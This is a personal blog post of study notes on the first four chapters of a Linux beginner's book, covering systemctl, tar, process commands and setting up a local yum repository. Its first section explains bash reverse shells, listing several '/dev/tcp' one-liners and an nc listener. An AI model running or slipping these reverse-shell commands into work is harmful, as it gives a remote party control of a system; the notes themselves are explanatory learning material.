《Linux就该这么学》前四章笔记

一周大概用了2天的时间,看来4章,比较易懂,很适合入门,循序渐进。

# bash反弹shell  
```
标准输入重定向(STDIN,文件描述符为0):默认从键盘输入,也可从其他文件或命令中输入。
标准输出重定向(STDOUT,文件描述符为1):默认输出到屏幕。
错误输出重定向(STDERR,文件描述符为2):默认输出到屏幕。
bash -i > /dev/tcp/10.201.61.194/5566 0>&1  将bash -i 重定向到 /dev/tcp/,标准输入和标准输出重定向到 /dev/tcp。
bash -i > /dev/tcp/192.168.19.1/6666 0>&1 2>&1; 将 bash -i 重定向到 /dev/tcp/,将标准输入0 和 标准输出1重定向到/dev/tcp/,将错误输出0 和 标准输出1重定向到/dev/tcp/。
bash -i &> /dev/tcp/10.201.61.194/5566 0>&1;  (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)
bash -i >& /dev/tcp/10.201.61.194/5566 0>&1;  (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)
```
```
监听:nc -lvp 2333
反弹:
bash -i >& /dev/tcp/192.168.146.129/2222 0>&1;
/bin/bash -i >& /dev/tcp/192.168.146.129/2333 0>&1;
sh -i>& /dev/tcp/10.201.61.194/5566 0>&1; 
```
# systemctl  
systemctl restart httpd  
systemctl start httpd  
systemctl stop httpd  
systemctl stauts httpd  
# tar  
tar czvf xxx.tar.gz  要打包的文件夹路径  打包  
tar xzvf xxx.tar.gz -C 解压位置  解包
# 其他  
ps aux  
top  
alias rm  
echo PATH
su - linuxporb  
cd ~ linuxporb  
# 配置本地yum源  
//挂载本地光盘镜像/dev/cdrom 到 /media/cdrom
mkdir -p /media/cdrom  
mount /dev/cdrom /media/cdrom  
//编写本地yum源文件

vim rhel7.repo
[rhel7]
name=rhel7
baseurl=file:///media/cdrom
enabled=1
gpgcheck=0

//设置开机自动挂载

vim /etc/fstab
/dev/cdrom /media/cdrom iso9660 defaults 0 0

posted @ 2020-12-07 13:12  思考的菜鸟  阅读(105)  评论(0编辑  收藏  举报